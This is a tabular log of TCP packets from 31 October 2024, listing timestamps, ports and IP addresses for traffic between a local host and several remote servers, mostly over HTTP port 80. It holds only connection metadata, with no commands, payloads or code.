Oct 31, 2024 01:18:54.312330008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312338114 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312349081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312357903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312364101 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312367916 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312378883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312381029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312396049 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312401056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312407970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312418938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312421083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312429905 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312441111 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312452078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312453032 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312462091 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312463045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312475920 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312488079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312500954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312504053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312514067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312529087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312529087 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312558889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312570095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312578917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312583923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312603951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312645912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312670946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312683105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312694073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312706947 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312788963 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312810898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312827110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312854052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312876940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312879086 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.312942982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312953949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.312971115 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313000917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313009977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313013077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313076973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313086987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313103914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313114882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313123941 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313133955 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313136101 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313136101 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313144922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313154936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313155890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313164949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313183069 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313237906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313247919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313250065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313261986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313272953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313317060 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313317060 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313385010 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313411951 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:54.313411951 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:54.313427925 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.313452959 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313471079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313482046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313498020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313508034 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313513994 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313524008 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313528061 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313541889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313544035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313548088 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.313553095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313564062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313570023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313570023 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313575029 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313577890 CET	443	49999	40.126.32.140	192.168.2.5
Oct 31, 2024 01:18:54.313586950 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313610077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313632011 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313638926 CET	49999	443	192.168.2.5	40.126.32.140
Oct 31, 2024 01:18:54.313741922 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313752890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313764095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313775063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313796043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313817024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313817024 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313837051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313848019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313869953 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313898087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313908100 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313909054 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313919067 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313945055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.313973904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313983917 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.313994884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314007044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314026117 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314033985 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314043999 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314054012 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314059019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314064026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314074993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314078093 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314097881 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314101934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314112902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314122915 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314127922 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314147949 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314229965 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314285040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314301014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314311981 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314322948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314335108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314344883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314356089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314362049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314362049 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314366102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314378977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314388037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314388037 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314388990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314400911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314410925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314420938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314424992 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314431906 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314441919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314444065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314462900 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314470053 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314474106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314490080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314539909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314551115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314562082 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314567089 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314589977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314600945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314601898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314601898 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314611912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314680099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314680099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314728975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314769983 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314780951 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314791918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314815998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314857006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314867973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314867973 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314877987 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314888954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314903975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314915895 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314917088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314944029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314944029 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.314970016 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314980984 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314990044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.314995050 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315001011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315011978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315015078 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315022945 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315033913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315038919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315054893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315066099 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315076113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315085888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315093040 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315114975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315131903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315139055 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315140963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315207958 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315296888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315363884 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315373898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315390110 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315409899 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315418005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315428019 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315438986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315449953 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315484047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315484047 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315546036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315555096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315557003 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315642118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315653086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315664053 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315669060 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315675020 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315690994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315704107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315789938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315799952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315809011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315818071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315830946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315943956 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.315964937 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315975904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.315985918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316009998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316016912 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316026926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316039085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316044092 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316056967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316092968 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316102982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316112995 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316123009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316124916 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316140890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316215038 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316235065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316239119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316246033 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316260099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316322088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316332102 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316342115 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316349030 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316365004 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316422939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316433907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316445112 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316450119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316456079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316477060 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316667080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316678047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316692114 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316694975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316704988 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316715956 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316716909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316726923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316737890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316745043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316755056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316765070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316773891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316773891 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316776037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316787958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316798925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316802979 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316808939 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316821098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316826105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316826105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316832066 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316844940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316853046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316854954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316869020 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316870928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316881895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316891909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.316895008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.316915035 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317045927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317058086 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317068100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317070961 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317081928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317092896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317102909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317112923 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317161083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317161083 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317203045 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317214966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317224979 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317234993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317246914 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317274094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317274094 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317318916 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317532063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317572117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317583084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.317600012 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.317812920 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.327430010 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.328483105 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.328483105 CET	50005	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.328500986 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.328516960 CET	443	50005	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.394170046 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.394232988 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.394571066 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.394571066 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.394701004 CET	50002	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.394711971 CET	443	50002	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.397933960 CET	50008	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.397943020 CET	443	50008	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.398030996 CET	50008	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.398288965 CET	50008	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.398300886 CET	443	50008	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.402436018 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.403004885 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.403019905 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.403713942 CET	50006	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:54.403717995 CET	443	50006	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:54.426047087 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426078081 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426091909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426107883 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426137924 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426167011 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:54.426178932 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:54.426198959 CET	80	49962	185.215.113.206	192.168.2.5
